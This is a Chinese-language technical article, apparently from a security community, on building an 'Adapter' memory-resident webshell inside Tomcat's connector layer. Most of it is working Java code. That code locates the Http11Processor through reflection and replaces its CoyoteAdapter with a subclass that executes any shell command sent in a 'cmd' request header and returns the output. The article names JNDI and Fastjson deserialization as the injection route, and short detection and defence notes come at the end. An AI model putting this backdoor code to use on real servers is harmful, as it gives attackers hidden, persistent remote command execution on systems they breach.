连接器中内存马的构造-Adapter内存马
字数 1405 2025-08-05 08:18:15
Tomcat连接器内存马构造技术详解:Adapter内存马实现
0x00 前言
内存马技术是近年来Web安全领域的重要研究方向,特别是在Java Web应用中。本文基于lzstar在先知社区发表的Adapter内存马构造技术,详细解析Tomcat连接器层面的内存马实现原理与构造方法。相比常见的Executor内存马和Upgrade内存马,Adapter内存马提供了新的攻击面。
0x01 Tomcat连接器源码分析
要构造连接器层面的内存马,必须深入理解Tomcat连接器的工作流程。以下是关键组件分析:
连接器核心组件
-
Acceptor线程
- 负责接收客户端连接
- 将Channel对象交给Poller处理
- 代码路径:
org.apache.tomcat.util.net.NioEndpoint#startInternal()
-
Poller线程
- 维护一个事件队列
- 将Channel注册到Selector
- 处理就绪的SelectionKey
- 生成SocketProcessor任务交给Executor
-
Executor
- 实质是ThreadPoolExecutor
- 执行SocketProcessor的run方法
- bluE0提出的Executor内存马就是替换此组件
-
Http11Processor
- 读取和解析请求数据
- 处理HTTP/1.1协议
- 检查Upgrade头决定协议升级
-
Adapter
- 默认实现为CoyoteAdapter
- 调用容器的service方法
- 本文重点:构造Adapter内存马
请求处理流程
Acceptor → Poller → Executor → Http11Processor → Adapter → Container
0x02 Adapter内存马构造
构造原理
-
攻击点定位
- 请求调用栈中
CoyoteAdapter.service()是关键方法 CoyoteAdapter存储在Http11Processor的adapter字段中
- 请求调用栈中
-
实现思路
- 继承
CoyoteAdapter重写service方法 - 在全局内存中找到
Http11Processor实例 - 替换其adapter字段为恶意实现
- 继承
具体实现步骤
1. 获取Http11Processor实例
使用内存搜索技术定位Http11Processor对象:
public static Object getHttp11Processor() {
ThreadGroup threadGroup = Thread.currentThread().getThreadGroup();
Thread[] threads = (Thread[]) getField(threadGroup, threadGroup.getClass(), "threads");
for(Thread thread : threads) {
Object o = getField(thread, thread.getClass(), "target");
if(o != null && o instanceof NioEndpoint.Poller) {
NioEndpoint.Poller target = (NioEndpoint.Poller)o;
NioEndpoint nioEndpoint = (NioEndpoint) getField(target, target.getClass(), "this$0");
Set<SocketWrapperBase<NioChannel>> connections = nioEndpoint.getConnections();
for (SocketWrapperBase<NioChannel> c : connections) {
Object currentProcessor = c.getCurrentProcessor();
if (currentProcessor != null) {
return currentProcessor;
}
}
}
}
return null;
}
2. 恶意Adapter实现
public class MyAdapter extends CoyoteAdapter {
public MyAdapter(Connector connector) {
super(connector);
}
@Override
public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) throws Exception {
String p = req.getHeader("cmd");
if(p != null) {
exec(p, res);
} else {
super.service(req, res); // 正常请求走原有逻辑
}
}
public void exec(String p, org.apache.coyote.Response res) {
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe", "/c", p}
: new String[]{"/bin/sh", "-c", p};
byte[] result = new java.util.Scanner(
new ProcessBuilder(cmd).start().getInputStream())
.useDelimiter("\\A").next().getBytes();
res.doWrite(ByteBuffer.wrap(result));
} catch (Exception e) {
// 异常处理
}
}
}
3. 替换原有Adapter
static {
Http11Processor http11Processor = (Http11Processor) getHttp11Processor();
CoyoteAdapter adapter = (CoyoteAdapter) http11Processor.getAdapter();
Connector connector = (Connector) getField(adapter, adapter.getClass(), "connector");
MyAdapter adapterMem = new MyAdapter(connector);
setFiled(http11Processor, http11Processor.getClass().getSuperclass(), "adapter", adapterMem);
}
辅助工具方法
// 反射获取字段值
public static Object getField(Object object, Class clazz, String fieldName) {
try {
Field declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (Exception e) {
return null;
}
}
// 反射设置字段值
public static void setFiled(Object object, Class clazz, String filed_Name, Object value) {
try {
Field flied = clazz.getDeclaredField(filed_Name);
flied.setAccessible(true);
flied.set(object, value);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
0x03 攻击验证
-
注入方式
- 通过JNDI注入Reference指向恶意类
- 适用于Fastjson等反序列化漏洞
-
攻击效果
- 任意请求头包含
cmd参数时执行命令 - 命令结果直接写入响应
- 不影响正常请求处理
- 任意请求头包含
-
检测特征
- 存在自定义Adapter实现
Http11Processor的adapter字段被替换- 请求处理流程中出现异常调用栈
0x04 防御措施
-
运行时防护
- 监控关键组件(如Adapter)的替换行为
- 检测异常的命令执行调用栈
-
静态防护
- 禁止加载未知类
- 限制JNDI查找
-
检测工具
- 使用Java内存分析工具检查关键组件
- 监控Tomcat关键类的修改
0x05 总结
Adapter内存马通过替换Tomcat连接器中的关键组件实现持久化后门,相比传统内存马具有以下特点:
- 隐蔽性高 - 位于连接器层面,常规检测难以发现
- 兼容性好 - 不影响正常业务请求处理
- 执行效率高 - 在请求处理早期阶段介入
理解连接器各组件的工作原理是构造高级内存马的基础,本文提供的技术思路也可应用于其他组件的内存马构造。